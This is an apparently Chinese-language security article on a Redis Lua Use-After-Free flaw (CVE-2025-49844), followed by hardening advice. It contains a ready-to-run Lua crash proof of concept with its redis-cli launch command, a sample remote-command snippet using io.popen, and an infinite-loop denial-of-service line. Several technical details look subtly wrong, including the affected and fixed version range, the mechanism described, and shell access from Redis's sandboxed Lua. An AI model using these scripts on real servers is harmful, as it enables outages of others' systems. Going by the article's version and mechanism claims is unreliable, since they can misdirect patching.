漏洞概述：Redis的“内存幽灵”危机
2025年4月，安全研究人员发现Redis 7.x版本中存在一个高危Use-After-Free（UAF）漏洞（CVE-2025-49844）。该漏洞源于Lua脚本引擎内存管理机制的逻辑缺陷，攻击者可通过构造恶意Lua脚本，触发Redis内部对象的重复释放与复用，最终实现远程代码执行（RCE）或服务崩溃。
影响范围：
- Redis 7.x系列（7.0.0 ≤ 版本 < 7.2.5）
- 部分云服务商托管的Redis实例（若未及时更新）
漏洞原理：内存分配与垃圾回收的“死亡螺旋”
1. 漏洞核心：Lua的loadstring与Redis的GC机制冲突
Redis通过Lua脚本引擎支持自定义命令扩展，但其在处理动态加载的Lua代码时存在致命缺陷：
local chunk_name = string.rep("X", 1024) .. "_CVE-2025-49844"
local func = loadstring("return 1", chunk_name)
func = nil
collectgarbage("collect")
关键缺陷分析
- Chunk名称碰撞：
chunk_name通过大量重复字符（如X）触发Redis内部哈希表冲突，导致内存分配器复用已释放的chunk。 - GC干扰：主动调用
collectgarbage迫使Redis频繁回收内存，形成“释放-复用”竞争条件，最终引发悬空指针（Dangling Pointer）。
2. 内存破坏链
危险性：从服务宕机到数据窃取
-
远程代码执行（RCE） 攻击者通过精心构造的Lua脚本，可在Redis服务器上执行任意命令：
local cmd = [[ local f = io.popen("id > /tmp/owned.txt", "r") return f:read("*a") ]]获取Redis服务器权限，横向渗透内网。
-
服务稳定性瘫痪 恶意脚本可无限循环触发UAF，导致Redis内存耗尽或进程崩溃：
while true do loadstring("while true do end")() end -
数据泄露风险 通过Lua脚本访问Redis内部数据结构，窃取密钥、会话Token等敏感信息。
POC实战：一键触发Redis崩溃
以下为验证漏洞的PoC代码，仅供安全研究，禁止非法使用：
1. POC脚本（poc.lua）
-- CVE-2025-49844 Lua 崩溃 PoC
-- 警告：此脚本设计用于崩溃易受攻击的 Redis 服务器。
-- 仅在您拥有或获得明确测试许可的系统上使用。
-- 用法：redis-cli --raw --eval poc.lua , 10000 1000 25
local function trigger_user_after_free()
local iterations = tonumber(ARGV[1]) or 20000
local chunk_size = tonumber(ARGV[2]) or 2000
local gc_freq = tonumber(ARGV[3]) or 50
local chunk_name = string.rep("X", chunk_size) .. "_CVE-2025-49844"
-- 预分配一个表来保存已加载函数的引用。
-- 这可以防止它们过早被回收，增加内存压力和竞争条件的可能性。
local loaded_funcs = {}
-- 主循环
for i = 1, iterations do
local code = "return " .. i
-- 使用大的块名称加载代码。
-- loadstring 返回一个函数（或 nil + 错误信息）。
local func, err = loadstring(code, chunk_name)
-- 存储函数以防止立即被垃圾回收（如果加载成功）
if func then
table.insert(loaded_funcs, func)
else
if redis and redis.log then
redis.log(redis.LOG_WARNING, "loadstring error at i=" .. i .. ": " .. tostring(err))
end
end
-- 定期强制垃圾回收并释放一些引用
if i % gc_freq == 0 then
-- 移除存储函数的随机子集以创建悬空引用。
for j = 1, math.floor(#loaded_funcs / 10) do
table.remove(loaded_funcs, math.random(#loaded_funcs))
end
-- 运行六个完整的 GC 周期以增加压力
collectgarbage("collect")
collectgarbage("collect")
collectgarbage("collect")
collectgarbage("collect")
collectgarbage("collect")
collectgarbage("collect")
-- 如果 redis.log 可用，则记录进度
if i % (gc_freq * 10) == 0 and redis and redis.log then
redis.log(redis.LOG_NOTICE,
string.format("迭代 %d/%d, 存储的函数: %d", i, iterations, #loaded_funcs))
end
end
end
-- 返回摘要
return string.format("UAF 触发完成。迭代次数：%d，块大小：%d，最大存储：%d",
iterations, chunk_size, #loaded_funcs)
end
local function get_timestamp()
if redis and redis.call then
local time = redis.call('TIME')
return tonumber(time[1]) * 1000000 + tonumber(time[2])
else
-- fallback to os.time() if not in Redis environment
return os.time()
end
end
math.randomseed(get_timestamp())
-- 执行触发函数
return trigger_user_after_free()
2. 攻击命令
redis-cli --raw --eval poc.lua , 10000 1000 25
3. 预期现象
- 服务崩溃：Redis进程异常退出，日志显示内存错误（如
segmentation fault）。 - 内存泄漏：通过
top或htop观察Redis内存占用持续增长。
修复建议：加固你的Redis防线
-
升级Redis版本 立即升级至Redis 7.2.5+ 或8.x最新版，官方已修复内存管理缺陷。
-
禁用危险命令 在
redis.conf中添加： rename-command EVAL "" rename-command EVALSHA "" -
启用安全模式 通过**
requirepass** 设置强密码，限制Lua脚本执行权限： lua-time-limit 5000 lua-replicate-commands no -
监控与响应 部署Redis Sentinel或Cluster模式，实时监控异常命令执行：
redis-cli monitor | grep "EVALSHA"
总结：一场本可避免的灾难
CVE-2025-49844暴露了Redis在动态语言支持上的安全短板。对于企业而言，零日漏洞的防御不应依赖厂商补丁，而应建立多层防护体系：
- 最小权限原则：限制Redis暴露端口，禁用公网访问。
- 自动化漏洞扫描：集成Redis安全检测工具（如RedisInsight）。
- 灾备与恢复：定期备份数据，制定应急预案。
安全启示：永远不要低估攻击者对内存破坏漏洞的创造力，即使是看似无害的脚本引擎，也可能成为攻破堡垒的潘多拉魔盒。
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